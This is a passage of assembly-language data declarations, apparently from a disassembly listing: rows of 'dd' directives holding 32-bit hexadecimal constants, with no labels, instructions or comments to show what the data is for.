		dd 38CC69A3h, 0C5E31500h, 0E4DD4611h, 0A9A13EB2h, 0BF67B880h
		dd 73B68121h, 273D9F00h, 41F0B84h, 60200E86h, 0A0806EA2h
		dd 0B487B3C8h, 9D0023F8h, 0B7C9D91Bh, 0B9E2D98h, 5CF664F5h
		dd 603E8E7Dh, 4F1215Fh,	0AC9080h, 0DE348B99h, 3DFB8F67h
		dd 3C33A102h, 0E6210C1Ch, 0C5E51740h, 8C38423Bh, 99000E44h
		dd 1160C5Fh, 75ECC92Ah,	0C0918421h, 0F1F476B6h,	89B9FB01h
		dd 0BF6D5D57h, 0C60E1868h, 1FF2715Ah, 6552E0h, 35D23761h
		dd 0F9058DC7h, 0FDA22622h, 0D9DD851Fh, 2B6CFE40h, 58995A2Eh
		dd 1B00BF54h, 52CB1409h, 1277A6D7h, 0F01EE0F0h,	1803AB6h
		dd 4B754D4h, 0E5F70032h, 87681FEBh, 0BC39B8A9h,	23B507B4h
		dd 0F3348A66h, 6806B0D0h, 0C2500092h, 202EBE0Fh, 23B8054Ah
		dd 0E084D102h, 0C05659D7h, 0B085BCACh, 0AE2C0AD8h, 0B4A75Fh
		dd 0F931610Bh, 9B028B20h, 76E4B3D3h, 0E9B08011h, 7B9B679h
		dd 552A7273h, 404BE099h, 0D0E7AEAh, 0C1459669h,	4A574CABh
		dd 0FFD9AE4h, 0B0D4BC6Eh, 0DB8BB627h, 23A4D821h, 0FF869C4h
		dd 0C06E8ACEh, 8242EA73h, 0D0C4A3FFh, 662180Eh,	98D22E87h
		dd 0F67F08C1h, 2C885C01h, 0A6012848h, 0FE8460h,	9A911FD8h
		dd 0D405F72h, 0A26FC707h, 6D23AABFh, 6637B8EAh,	0E4DE0236h
		dd 1C627C5h, 2F2ED4C8h,	0A7C9B00Fh, 394381E9h, 5EECDF9Dh
		dd 6D100015h, 5506F39Ah, 4B3C0BCFh, 242380C7h, 0D9BEA4EAh
		dd 0AB201F56h, 70D643CCh, 9B90C363h, 22010613h,	0E9122946h
		dd 0C7D86B90h, 0EADF0085h, 6C1926F9h, 0BE00F58Eh, 0C97E685Dh
		dd 1E96461Dh, 0C150D429h, 11354B98h, 5951E8D2h,	0D0537C00h
		dd 0EC7CE4Fh, 3B47AC2h,	0C91B1024h, 0F7AFD661h,	54F2D056h
		dd 29008155h, 529DB3E0h, 0CAE79Bh, 28B604C7h, 0FEB94FCFh
		dd 8A355D00h, 739B0FC1h, 8B6E5CE6h, 3FAF3700h, 0CAF5A28Dh
		dd 351F21F0h, 73008A52h, 0CFE1E810h, 7EEF00F3h,	9C05C2BBh
		dd 3F00A065h, 46D987D2h, 0F8760740h, 9613073Ch,	32B22984h
		dd 0FC40B07Eh, 0F7582662h, 5B7100A0h, 0ECB81B36h, 522400F6h
		dd 58AF21BDh, 59009342h, 6BC7914Dh, 19D3A5h, 0AE6795Dh
		dd 553840DAh, 2BECC201h, 7F169D12h, 24DD4C20h, 50FCE413h
		dd 73008340h, 0B0BF02F9h, 3CD879FAh, 0E69EAFF2h, 980AC023h
		dd 0DF2C6FD3h, 0AD1FBA0Bh, 0BE688173h, 27E584D6h, 0B75F8h
		dd 4DFE3AB2h, 77030746h, 10B83679h, 2C197F26h, 4222AC0h
		dd 7EBB028Bh, 72AE14C4h, 51EDC840h, 0D002984Ah,	60A7F66Fh
		dd 166A7118h, 5EA26D9Fh, 1BAB809Ah, 203DB752h, 1014474h
		dd 9A84B495h, 3460F787h, 1CDF77B2h, 839CAD12h, 3174ECA2h
		dd 0FC8E3AB1h, 6500E9EFh, 0D9431E17h, 3B4D30C6h, 0A380FFE8h
		dd 0B547AE2Eh, 9C035B79h, 0DA89BCA2h, 0AB27A0D4h, 8EE600F6h
		dd 9EDB028Bh, 140072A4h, 4EF13D05h, 0E926CAh, 0FAE2386Eh
		dd 593683BEh, 8E024200h, 0C5FE2D7Ch, 0CE891CB8h, 86807E85h
		dd 153A11ADh, 1B2C1F18h, 1000C65h, 68D162C8h, 2A5500A8h
		dd 0B773E617h, 7900BB21h, 857D46A4h, 0FAFEF80h,	63F207E3h
		dd 0B76115A3h, 308FA0CFh, 0C72495C1h, 0F0003FA8h, 0C1B7236h
		dd 742400F7h, 0A9D99BDDh, 20B76A7h, 0C73D89EBh,	5BD87000h
		dd 7618A084h, 3DC0E9F1h, 835D03C5h, 0B70BBB05h,	5F31DBB8h
		dd 0FFD51500h, 6BF68D0Eh, 449702DEh, 0AD4108F2h, 46870440h
		dd 4F009C70h, 1D551211h, 309157h, 9905CDB6h, 0D1DAD587h
		dd 0C79A8C00h, 0EAC3C28Fh, 2E06F47Eh, 17EAFEF4h, 36B44027h
		dd 0E0AC308Ch, 342880C7h, 4509E67h, 0B616BAh, 0F4FBF7Eh
		dd 0C9FC86FDh, 33E8BE00h, 783E0D25h, 78FE81Ah, 0E0242FDDh
		dd 0C69B20BCh, 360011B3h, 0CB5DC032h, 0EA339895h, 89240FDFh
		dd 54603A1Bh, 0FF72631Ah, 8C0C0B2Eh, 0BF9FDB00h, 3C1C18D0h
		dd 3F26CC90h, 86540080h, 76C9D3B0h, 5F200907h, 0A2B763A3h
		dd 225DCD30h, 3E501C0h,	0D8B05AF8h, 0D34283BCh,	80DE0E17h
		dd 0E67A736Dh, 388D3DD1h, 2E66DC00h, 9CD9D23Bh,	0A4F11100h
		dd 0D73F9337h, 3D3F6E4h, 9771E55h, 0FCBACF81h, 1BF8C80h
		dd 20CCE86h, 20930B0Fh,	9DA103AEh, 6EA812A5h, 0AC5A4C00h
		dd 0C606F7A6h, 0C973001Eh, 3A3F65D8h, 0EB74C238h, 431E2CF8h
		dd 0B84090A2h, 8ADE48ACh, 15F1005Dh, 62F7E14Ch,	951D54DBh
		dd 6E011CD5h, 0E70D781Eh, 0F0974060h, 0A8960B02h, 0F84BDFADh
		dd 0F387DD8h, 30F9E700h, 98359399h, 0AE630029h,	495AE2E9h
		dd 9B003603h, 8673CDEFh, 0DED941h, 3431A998h, 3A5D9D2Ah
		dd 0F08C4901h, 8E03B84h, 0C0D205F1h, 82545644h,	19F1BC60h
		dd 0DC762F00h, 0D0A9B46Eh, 99280A5Dh, 9412EFh, 93FF6C9Dh
		dd 1600ADE7h, 871FD796h, 26F36h, 0C1A67761h, 41BD635Ah
		dd 0F2E98800h, 0E76F383h, 83A0093h, 0C86DAD8Eh,	630091FFh
		dd 0C7707898h, 0D4E7F6h, 56B71E34h, 0E072629Ah,	0BD009D7Ah
		dd 8195B4D8h, 733ECDA3h, 1E57F82Fh, 80872443h, 20C9F2B5h
		dd 0C0BF6ACEh, 0F2FDE1B3h, 801B0032h, 4A998638h, 2E00D9A2h
		dd 0D685529h, 0A1185Dh,	239D31DDh, 77FCD058h, 0BAE030EBh
		dd 0B806A900h, 1DC50A75h, 3372E6h, 9B776895h, 2A87C654h
		dd 0C15F6B16h, 0FAAD84Bh, 60F80050h, 662F62h, 0DA31AD33h
		dd 7AD9689Ch, 0FFB92800h, 73B1AB15h, 748F0F3Eh,	86E042A7h
		dd 675BC184h, 25B92403h, 0F00AF166h, 6BAE6Ch, 7264922Fh
		dd 0F0A8176Dh, 9AD45000h, 0AD0B8D04h, 0FA82008Ah, 19AB62E1h
		dd 0F09FD1Eh, 81042C84h, 0C763FEE8h, 781E8C8h, 0AE035869h
		dd 0E9A4B0CEh, 0D0123ADBh, 0A03F5D5h, 0C0788175h, 0DF3720h
		dd 89A989Fh, 52A9C71Ah,	0CDE35C00h, 0FCBD70D5h,	5526399Eh
		dd 0CCDFC880h, 42F33883h, 9F9C7903h, 0FF3D1477h, 8608E6h
		dd 0DB33BE5h, 98F1F7DAh, 5300F5EAh, 0ED88C4E7h,	0B02930h
		dd 37232647h, 0D6152A2Bh, 93CF2700h, 0D57DEBDAh, 0BC4B0034h
		dd 2359331Fh, 0FE01A2B4h, 750A7CEFh, 0BBC46F22h, 37E7009Ch
		dd 6BD2F22Eh, 5E00CDDCh, 846664DDh, 10B8E3Eh, 0C4B335BBh
		dd 30890408h, 3A00AFBDh, 44B04503h, 1C3B5070h, 3A08BFD8h
		dd 0A58E2E80h, 7D097AF4h, 25024909h, 387A00DCh,	1633DE72h
		dd 0FFC19h, 1F46F45Bh, 200FB427h, 0E09E767Eh, 8FCF022h
		dd 0A29000B8h, 0C894A131h, 70008964h, 336A5973h, 12046D9Eh
		dd 0E8EE76h, 0D43A5850h, 63587D8Dh, 0B5DF007Fh,	80C41336h
		dd 4DA600CAh, 8F5DD84Bh, 0F0F6BAAh, 0E05F436Eh,	0EDCD5C82h
		dd 0F08813D7h, 19A60079h, 177AF513h, 32302300h,	0FC751528h
		dd 0F8F70F4Ah, 0C4E0374Eh, 0E2EFEE61h, 0AC3BEAF8h, 63F080C5h
		dd 748C9B10h, 0DD0600B3h, 3978447Fh, 97E8F348h,	0ED5F0A03h
		dd 0E8E69202h, 0FE24D9h, 0A7068BD2h, 0AF75A889h, 14217E00h
		dd 961FBF2Eh, 0B7B90F6Fh, 0AC408CE0h, 5FB35FAh,	17A02900h
		dd 0D319CBD8h, 0E99B00EAh, 429779C8h, 0CF00724Bh, 183B66B1h
		dd 14D98E4h, 0E3752639h, 0C880311Ah, 0F500230Ah, 0E7D0D920h
		dd 3F9A9CBh, 8E97AF8h, 479869FCh, 54008D96h, 2D632398h
		dd 0D78861h, 7E122BC8h,	0FE64263Ch, 4F056C00h, 595452DCh
		dd 7C3200CAh, 564CA615h
		dd 3800363Dh, 0F19FE27Eh, 233980h, 4FDB508Fh, 660F096Ch
		dd 5888B00h, 270C8CE1h,	65A60017h, 5CD0A1ABh, 8100BA0Dh
		dd 0A897016Ch, 6710FFh,	27F1B52Ah, 2D83A315h, 1D248538h
		dd 0A680F259h, 1749B7B1h, 0C4B0FCBh, 2C206D48h,	7220ADBBh
		dd 9BC59D04h, 0F2C038F2h, 52284Ah, 0FDC1D670h, 0E2C09998h
		dd 0CAE4341Fh, 20B11A4Fh, 8B17D43Ch, 68980056h,	0C29441F0h
		dd 0ED16DAEEh, 71002FBBh, 0C0AD2A3Ch, 6D1100CBh, 0EAB084E6h
		dd 400C9B37h, 401C028Dh, 0D2102E43h, 0D65D006Ah, 6FD4E691h
		dd 1D843148h, 0C3004FA9h, 2F67434h, 16E699h, 0E759D703h
		dd 0AF1F694Eh, 927DEA1Ch, 26A79B01h, 5D00CB4h, 97AD0043h
		dd 0DB27E1A2h, 3100687Eh, 54554A3Dh, 1EE059EFh,	4388A064h
		dd 95E7FD0Dh, 91C7A8C8h, 58145604h, 80BEFBEAh, 5B74301Dh
		dd 765D2C01h, 0A17084B8h, 42FCD080h, 727E8723h,	0A8FB3A06h
		dd 1B85E61h, 753E1B98h,	701CA657h, 181FA0BDh, 0C300B37Bh
		dd 0FB477655h, 0E69007Dh, 427E4071h, 9900BDA2h,	0FEC5FAB9h
		dd 0FF044D4h, 1EF20F47h, 66FD4940h, 2A38FB0Dh, 9C8860E5h
		dd 0E448C4h, 147A6996h,	9A10A9FAh, 460B3D00h, 0A0D5AD53h
		dd 35372CD6h, 0EED030F4h, 0E3033C86h, 52563123h, 0C8E93A46h
		dd 1F6128D0h, 0C01C7A2Fh, 6D1822A2h, 420EC594h,	20A7632Dh
		dd 17590649h, 610918ADh, 0E2B5D678h, 0D5BD7B0Fh, 8BCA2037h
		dd 1E968186h, 0C0BB63EAh, 60B8A162h, 0BE00AEBDh, 89A6D392h
		dd 1BF4F1h, 2B2F4E35h, 8F9156BFh, 76735300h, 0DCB3F57Dh
		dd 0E3100DEh, 0ED8AD9D3h, 4C1E1F64h, 814093F9h,	41B9B09h
		dd 4F280091h, 2203F046h, 0A200C970h, 49655259h,	1FBA1CE4h
		dd 4113661Fh, 0B536F477h, 0F6D7D074h, 0A1E44D07h, 4A100B9Ch
		dd 1D01144h, 756DA80Eh,	0D05A79CAh, 9E014225h, 7B38271Ah
		dd 3980F9BFh, 0E10903B6h, 0C200430Ah, 2502499h,	91057Dh
		dd 0A9DF46D1h, 0E9521748h, 0FB1FB60Fh, 0F051017Fh, 1420440Dh
		dd 0BD472649h, 796007FDh, 64DA63C5h, 0E44E93A0h, 7046FC00h
		dd 7BBC119h, 750B1D23h,	0FDA18CE1h, 0AE00FC80h,	423DE78Dh
		dd 0D3F084h, 0A227DAC2h, 1BE3DB43h, 0C8D13200h,	34F72321h
		dd 79916009h, 900BFAA9h, 0CF877D01h, 0B17B3EE5h, 625197F0h
		dd 444D20DFh, 0D35E7F60h, 8115233Eh, 32C2BEFAh,	2080FB16h
		dd 90CBF79Eh, 0F000B04h, 1C520A23h, 3D63724h, 7EC29FB1h
		dd 187F07C3h, 65004876h, 0FD2D6A73h, 600F50h, 4FE45DC2h
		dd 7F68F70Ah, 0ABED612Eh, 1F145E00h, 183A21Ah, 1653ABC1h
		dd 0CCF98251h, 7800EAD0h, 6CAA2B86h, 1F3A909Ch,	7E057580h
		dd 3F564500h, 86A39961h, 0A50FFB00h, 0F385AE52h, 22CE00CAh
		dd 0C66C4A32h, 0E62612B1h, 0CD00D890h, 0D46ED789h, 395B0734h
		dd 40D64B8Ch, 80FBC1CFh, 10965300h, 0D8AA7989h,	2A0D0067h
		dd 12D49238h, 8500E91Ch, 0A51AD3A3h, 75E4B4AFh,	0C43C007Ch
		dd 30BC7AF7h, 226034ADh, 906BEC10h, 0D82C001Eh,	0CC13918Fh
		dd 0F10088D6h, 1C5551D3h, 2A89BBh, 0F0548EECh, 10B90EF5h
		dd 65FA4100h, 2143805Fh, 957701ADh, 8F423BFCh, 0CCFF61ECh
		dd 5900166Fh, 1045CCBDh, 90A854A5h, 0D6F2000Bh,	8A8774AEh
		dd 5907551Bh, 3A664760h, 0A80F1EA0h, 0A5B90027h, 0CC1295D4h
		dd 37001BEAh, 96E2A025h, 0C417EA2h, 0FDED0AC1h,	0B07FD098h
		dd 2C308B60h, 0F8E1105Eh, 0A24B00E5h, 2E4A3AC7h, 557CA0BCh
		dd 74E3EF01h, 2DED547Dh, 0F88E24F4h, 1947CDCh, 2096C5F5h
		dd 84EF9985h, 0FBCE5159h, 2213A204h, 5A0810A6h,	20947144h
		dd 0B62152B8h, 106B04B1h, 0B8110ACCh, 0B9215930h, 0D3E680DDh
		dd 0A1213F9h, 947A1378h, 0C2889D2Ch, 0A25F6E93h, 0FDAA4F18h
		dd 831BD01h, 0F9212075h, 1084CA7Fh, 10A0C796h, 58825440h
		dd 2E02903Eh, 4AB813EAh, 20109B30h, 5409E2C9h, 202F8096h
		dd 0AA5CC00h, 30FB977Dh, 0B1006868h, 0D09C452Fh, 1CCDD10h
		dd 0BF0295D1h, 80A8FF5Dh, 79341E50h, 92CB85B6h,	284B003Ch
		dd 0EAF571FDh, 0F6B06C0Dh, 0FB7D4800h, 13E4DCD2h, 0D5B30075h
		dd 3F31AC30h, 9800013Bh, 0C42937EDh, 0FE949ACEh, 487F15h
		dd 0A60B1CF9h, 0F3985D54h, 0D9ECE0C0h, 58455C82h, 3901F0A9h
		dd 0A319B6D7h, 26E0FFA8h, 0C97E89F3h, 349FE304h, 1C841CC4h
		dd 713B0FAEh, 830EE7E0h, 0A100D347h, 56FF0C80h,	0B2468Bh
		dd 36ECF6DAh, 8EE083A0h, 0F2643000h, 0BBE4DEB0h, 0FBE69Ah
		dd 0BFD13E44h, 0D2AEB96Bh, 2C86F800h, 6D5B5F3Bh, 0C9312CDDh
		dd 5165000Fh, 0F70685B4h, 7C5D38h, 0FF1796E7h, 0C3B519DAh
		dd 33541418h, 578C0800h, 64B46843h, 718007Fh, 0C32CDE3Ah
		dd 0E87B12EEh, 264AFD00h, 0C77489Ah, 2FEC0056h,	65A988E9h
		dd 550F86B5h, 4053EDE8h, 0D18AF6CEh, 5A3D005Bh,	0BD02B0A1h
		dd 9F0F963Bh, 868E06FFh, 780A6Ah, 23CE4516h, 91CB04EFh
		dd 38FF0818h, 201390h, 26A6DDF1h, 0CE7E386h, 555E40Bh
		dd 0C12C8C96h, 0D809390Bh, 8647EF9Dh, 181891EAh, 20F75D51h
		dd 7B005380h, 948BC972h, 249A08h, 668193E4h, 67AB3D9Ch
		dd 0C99883E5h, 88147F47h, 50B5C5Bh, 0E52C6463h,	905C72h
		dd 6FFF4C68h, 0C012FE6Eh, 0E8019EC6h, 88825790h, 1E8758E0h
		dd 400FCBEDh, 0F611E7ECh, 40F2760h, 0A00B9E81h,	0A61A6C48h
		dd 0C44A00ADh, 2B8705A4h, 37007823h, 0F612DB49h, 9FB569h
		dd 0BEAC7D0Fh, 649EC446h, 169B5924h, 0D73A3E00h, 6AE947h
		dd 0B462EBF1h, 4953E89Ch, 0DF0C8200h, 69E53284h, 0A4093B2Bh
		dd 651E4E80h, 0C858F20h, 60995F00h, 1250935Ch, 0DCB400A2h
		dd 0CD0A73A4h, 6F00F841h, 0E73ABAE0h, 5DABFF2h,	582B0616h
		dd 9A1BC018h, 9C60B1DCh, 98122668h, 854B0AE0h, 88EC9Fh
		dd 0E74AC9F1h, 0FC00A330h, 2BC32803h, 93960Ah, 5AC6F03Bh
		dd 3E09AE4Ah, 0D2A9B000h, 0DCCFA337h, 0E1D800EAh, 6036E597h
		dd 650003E0h, 63EB9D7Ah, 7C5016h, 148AB4C4h, 0A2057718h
		dd 87DACB00h, 0C3D395AEh, 4BD700AFh, 0F3571491h, 5D76DE54h
		dd 6DDD9800h, 0C047F08Dh, 0C3C20F30h, 0EB80CAF4h, 51773680h
		dd 0E0E35707h, 80EFC822h, 81165BD4h, 12E8F8DDh,	0D5B208h
		dd 233D523Fh, 0F800289Ah, 0EAF28AB9h, 608073F4h, 0D67498CCh
		dd 330F7B57h, 0E16D32C9h, 782608F6h, 719C25F0h,	8A6C0715h
		dd 0E018241Fh, 34E13B10h, 58E63607h, 5E705C83h,	201D10Dh
		dd 1147A264h, 7C906A16h, 4904F0C1h, 0F93EB813h,	81257020h
		dd 72D140Fh, 9DB320DEh,	0D0D157h, 90E7B87Ch, 567DC5Dh
		dd 8A41EF1Dh, 3B479D8Eh, 270D870h, 48BF0139h, 699ABD3Eh
		dd 2D38F0EDh, 28A3C70Ch, 0ECEAF011h, 16830749h,	0F3F40171h
		dd 64A10E18h, 29208027h, 4F6F3A04h, 149062h, 0ADDF1387h
		dd 5EEC1BE2h, 0E9ED2100h, 90C5C4AFh, 718400D9h,	9ABE6ECAh
		dd 0A10E46D4h, 20669DA5h, 0B94978B0h, 22EC006Ch, 34433329h
		dd 0DCB01F6Dh, 0D90D621Eh, 4A93C587h, 0B1B045E7h, 28611h
		dd 90E42123h, 3A82BCA2h, 9D27DD3Ah, 458030CCh, 84BAC905h
		dd 10170902h, 8603AF77h, 0A199EE36h, 9C29D0BFh,	0A2465300h
		dd 18474BC2h, 0B5D70060h, 11CDFCB9h, 19003F0Fh,	22022EB7h
		dd 30732Ah, 0D46A2D70h,	56E4477h, 86E7D500h, 0B9C566C9h
		dd 375938D2h, 8800E038h, 8B5F5B40h, 28071024h, 0EBFB0D5Ch
		dd 33A21820h, 15D1004Ch
		dd 17D7CB74h, 440064BAh, 0D6EF6E81h, 74E2356h, 75EDFFF0h
		dd 0BF6D1030h, 2D008368h, 20D8B07Ah, 0BA1D93h, 3124D715h
		dd 59D13582h, 9666A307h, 924061B8h, 0E6ACC7Fh, 0D80D9F34h
		dd 1CA0E1AEh, 79586571h, 74DA58h, 8A1F70E3h, 0E8E12188h
		dd 0C5BB007Dh, 99794289h, 0E03AF9F7h, 0FD1D0095h, 0DDCA3126h
		dd 0D67E00EEh, 0CC510D06h, 0BA3F3022h, 0C80072FFh, 0A62B0AAAh
		dd 0B02444FEh, 7FE13D21h, 7DAC5200h, 6BC43553h,	0E67FB490h
		dd 7C1F5601h, 58449946h, 38A8CCC4h, 941CDA67h, 7400BE41h
		dd 9F9E4920h, 0A507C42Ch, 6CA2CDD9h, 2471C2C0h,	60D000BFh
		dd 75B802A8h, 67004A82h, 0F82EAA63h, 17E849h, 352CC0C6h
		dd 16A05AC2h, 432AB807h, 90E0DCF4h, 0C71398h, 25B164B6h
		dd 159D12F3h, 0CAA1E900h, 604FFB51h, 0B990048h,	0FCCB5B7h
		dd 0BC3A3910h, 6388FA4h, 4DD78031h, 0A1C8E1h, 0F8611D58h
		dd 7F1BFB8Fh, 4ED0080Eh, 0E0DA6E72h, 9B0AD1B4h,	5F280114h
		dd 0B7241739h, 0B5B0D0BFh, 3701A17Ah, 0E9F0604Bh, 3BC007F2h
		dd 0CB0F0038h, 4CC1F527h, 4E009FB0h, 2298C4Bh, 0C86D46h
		dd 0C389A390h, 0FEA286D3h, 4C1EEA1Fh, 16F3A900h, 7888C3Bh
		dd 74B8F446h, 0FFDE701Fh, 0E0009D4Ch, 7B1685DAh, 46B18Ah
		dd 55BA24F8h, 11089567h, 8BC4D900h, 51D2184Ch, 54AA002Ah
		dd 0F972750h, 0C10087CFh, 0C794E88Eh, 0FF2C65h,	90BA3B86h
		dd 1DCEA21Eh, 8BC03901h, 26C69AF8h, 0FD65C60h, 0B2D96832h
		dd 2743EE80h, 2A0089F6h, 2C6250BDh, 80320Dh, 4F764C63h
		dd 593397Eh, 4819B113h,	0C2B20800h, 90B59682h, 816300F5h
		dd 4056C7EFh, 0F000615Eh, 0B8B99784h, 39E8D5Dh,	8F59A4A6h
		dd 94F0240Dh, 0A200EDF5h, 0E7831B60h, 2CBA2Fh, 0A515DF05h
		dd 196B7F36h, 160AA800h, 250FC331h, 0C9C600D7h,	0FC99DB84h
		dd 9AA0AF4Fh, 0C7067C7Ah, 6CA031B0h, 0F99A0098h, 0A8C20F45h
		dd 910795FAh, 0E7303CDDh, 0D4A4B6D0h, 4710064h,	2B2A8131h
		dd 8E037ECFh, 9D3C8D88h, 0A49EE8A6h, 0F8BC0048h, 6BAC67EFh
		dd 0FA4C7C0Eh, 25518418h, 0F420654Fh, 5C7299B4h, 0A0B88100h
		dd 570E90F2h, 0FD000B9h, 0E6F6795Bh, 0A498335Fh, 80C69438h
		dd 0DE6B6F7Ch, 0A39B31h, 0DFC16EEFh, 82837A18h,	0A9228F0Eh
		dd 4EE5C02Fh, 5440CFh, 0F7CE122Eh, 859DB646h, 2AD55000h
		dd 86B86FB7h, 2ECA075Dh, 538801F6h, 0E800FF3Ah,	36074F1h
		dd 85206Ah, 33A9EA2Dh, 69BA3B6h, 549E0826h, 0F480A003h
		dd 6C680168h, 81D92D47h, 0B123E0E1h, 2EEF0D01h,	4E1CF7CAh
		dd 0C7F6C4h, 5EAABE2Fh,	5115B4A0h, 792E1B2Ch, 0E8E26A00h
		dd 39F666Fh, 0EE7CFDFh,	0D4C03689h, 26004291h, 6C00BD8h
		dd 23EA10h, 4AF41FF6h, 440AFE22h, 1600387Fh, 0E5AFA37Fh
		dd 3D765E4h, 0F44705D3h, 0D6A8C453h, 96C1D414h,	0A5ABBB4h
		dd 7BECC9CDh, 6AD0069h,	8F1982F5h, 79031CF1h, 0EBB990ECh
		dd 3865E068h, 91C639A1h, 0B4072285h, 3B3FC05Fh,	18262987h
		dd 3C22D1h, 0AA3F9ECEh,	2E5CB7CAh, 1DA3A88Eh, 0E93C4059h
		dd 19C8BA0Ch, 1126D200h, 63B2FA0Ah, 0E2D40002h,	66358D8Bh
		dd 7B1818E3h, 0BDE8F2A2h, 4C88489Dh, 4041761Ch,	9E1666D0h
		dd 0BC0084C8h, 0C2983E26h, 731B94h, 4ED775ACh, 360FF638h
		dd 20AAEC07h, 795028B2h, 0CB1FA1h, 0A0536EC4h, 315DC369h
		dd 0CE992900h, 0C9E1AB59h, 0FBECFF50h, 45A6002Ch, 589A68A9h
		dd 2300C536h, 9001A5F5h, 0D69E94h, 30D779A8h, 0D4BAC237h
		dd 43C3C400h, 0E0F32156h, 0A5E43D31h, 0AA1BE800h, 0ED6FD14Fh
		dd 8E39FD00h, 0A2B515DBh, 579A00A4h, 9E811066h,	0A00AB2Eh
		dd 0EBDABEA0h, 3F479FCh, 390140F8h, 2CF089D7h, 9800E7E2h
		dd 0AA05D64Dh, 0F6736A6h, 6B0C94F8h, 0B2DA1880h, 600CF3Ah
		dd 0D3551527h, 879BA6h,	0FB2512F2h, 0EA0B4B75h,	0E8BF7900h
		dd 32D9763Eh, 4E191F15h, 0E1B9C0CEh, 5C895388h,	0D03FA901h
		dd 837D1FC4h, 5FF82A87h, 9FF770CCh, 0F10054FFh,	25B560Ah
		dd 0E9BDA7h, 0BF2C8BE5h, 3F5079F8h, 7F35F101h, 2029A848h
		dd 3B68C9F8h, 798066E8h, 43BC630Dh, 70E407ADh, 932CF3F0h
		dd 803C859Eh, 0D314BEFCh, 1DECE7BDh, 0C01CB0DCh, 0D789171Fh
		dd 0B800780Ah, 0BD6067B1h, 6736AA41h, 50E64003h, 0F6DACDFBh
		dd 5E76D800h, 833B40D9h, 7FDB2C44h, 0ABE300F1h,	7808A17Bh
		dd 630592ECh, 0B97201EAh, 0C349914h, 0A00331A0h, 0D7736h
		dd 14DC0B73h, 616B79F0h, 51640600h, 215C5276h, 0D7190024h
		dd 0E9AC780Fh, 8100BD3Dh, 473C7D4Bh, 0BBE089h, 0C7F1D6B3h
		dd 0AADE6FD9h, 4DA27900h, 0AC907680h, 30FD0065h, 295141DAh
		dd 0E7FA04AFh, 2B34CC01h, 8A776394h, 7E8D24E0h,	5CB7E06h
		dd 1158B64Dh, 0D4D90193h, 0A4FD4FC3h, 720038B6h, 0C7DCF58Fh
		dd 1F76008Dh, 744ED35Fh, 683814CDh, 0F3D20193h,	3189E3ACh
		dd 4F2F4h, 0EF5884B3h, 3ADA7322h, 9F49BB00h, 0AC5DA56Dh
		dd 70B600CFh, 0C4A8F2DEh, 0DD00D0DBh, 4D366489h, 0E867257Ah
		dd 3C710172h, 280E57C0h, 0D007D0F0h, 311E0C00h,	0FE8A5046h
		dd 518000CAh, 21E0DA36h, 81007695h, 7E65A13Ah, 1779FD7h
		dd 0BAE40122h, 0E7238204h, 0C10730AEh, 85736E92h, 7446CA20h
		dd 0DC6D3D2Ch, 55585900h, 0DB28CB88h, 93C1B48h,	7B49Bh
		dd 0EDF1261Fh, 5C731F94h, 592E80C9h, 77A48F06h,	62D9BA01h
		dd 0F975F1FCh, 3B0C96ECh, 8B8049BFh, 7012353Bh,	4D186259h
		dd 365810E3h, 232D01FAh, 5CBEBF67h, 91D0F795h, 3A032F3Fh
		dd 4C26510Eh, 0ECA8D864h, 508E00C8h, 2BCEB35Bh,	7D39C18Ah
		dd 13DB12AEh, 51022400h, 3C30A2DFh, 5700E97Ch, 0E0AA0FBFh
		dd 0C00056FBh, 0ECD0BA8h, 74A8816h, 10C31E9h, 0EA35B09Ch
		dd 80F3A6E1h, 0D893E848h, 8705BAh, 0D7FA1577h, 365560B2h
		dd 0FC8DEA00h, 0E7ECB69Fh, 6E5D0322h, 0BF1EADB5h, 497DC80h
		dd 0CA85D31Ch, 28756780h, 5EAE936h, 5CC8219Bh, 5E0EAAD7h
		dd 60F240CBh, 1C2D8130h, 40A285A8h, 10B5015Fh, 3E7E0DABh
		dd 6E683600h, 869CF576h, 0F720C0A4h, 2EB0357Fh,	0CB9D3F00h
		dd 9F5B3925h, 920E03C5h, 7F0F4DD5h, 0BC14E80h, 41F51507h
		dd 0E087E2BAh, 657E61D0h, 0C99D30B7h, 1644D571h, 102783Eh
		dd 173418B9h, 0A3DC3B31h, 0AC570239h, 0A2CF8C1Dh, 3D848C60h
		dd 0D4F1890Fh, 8AAB60AAh, 0EC886062h, 67C00096h, 0E26C0455h
		dd 74067FD7h, 0A7B438A6h, 0F7E868h, 7ED39E80h, 64D94F7Ah
		dd 9BBE6A00h, 90727755h, 8F433EE1h, 18A3FF80h, 2F1C1D07h
		dd 80569C07h, 50703C27h, 1E75D7Ch, 0FADBC3B7h, 85EA1DAFh
		dd 3740AA60h, 0BCF3C80h, 87510045h, 0F4E5EFC1h,	0DA005D63h
		dd 92A2D839h, 4C9FFh, 68B25CD2h, 5FE5B57h, 0ABCC7300h
		dd 0EA525890h, 38C3386Dh, 0C899EF83h, 580016F4h, 0DD2B8C9Dh
		dd 3A2DBB46h, 6B80AC53h, 164F84D0h, 36727D10h, 0B18E7000h
		dd 0DA2B7C3Fh, 1562071Bh, 60E61D64h, 0ABE1B831h, 54671600h
		dd 0CB6FF0A3h, 961A03FFh, 0FAA52CF1h, 0BC0020D6h, 8469DEF9h
		dd 1E393345h, 0C1DB1A24h, 0A6B8F707h, 2A57ECCCh, 20B03700h
		dd 29E89316h, 469A00C4h, 0C35C182Ch, 3C1E5551h,	7396E4DAh
		dd 8C77E503h, 0D71EB805h, 10B3001Ch, 2A54624Ch,	0AE00A599h
		dd 5EB8B42h, 7107722Ch,	0BA880182h, 54FD7FC2h, 36D8DCFCh
		dd 264F220Ch, 33E8A8EBh
		dd 0B34020BDh, 29435F0h, 0C94B560Ch, 8020F4h, 0DB7F0643h
		dd 0B0A7D26Ah, 4400EC70h, 420F0DEFh, 73D0FFh, 0ABC08548h
		dd 0DC2D7112h, 0F5006F7Bh, 0F070FAEAh, 34D922h,	6E733B72h
		dd 991512BDh, 0A99A560Ch, 60A53884h, 126912Dh, 1E009378h
		dd 3B9D1F54h, 0DEDF4237h, 0E1D661h, 9AB57D4Ch, 70792F5h
		dd 0FD0E583Eh, 20800F34h, 0D2CEA1h, 655706DBh, 0C1DEE191h
		dd 7C4A0500h, 0FA0BA46Eh, 3DD902EEh, 8682EBC3h,	64CAE1C0h
		dd 18EC5E30h, 73E43302h, 41603AAh, 0C421449Ch, 4EB81D90h
		dd 0E002E5EAh, 81BEBDD0h, 7001E06Eh, 693D1CC5h,	8F6D1E04h
		dd 0DBA029A5h, 7E0A39EDh, 5D58DD60h, 0F13A74h, 0B5C15B91h
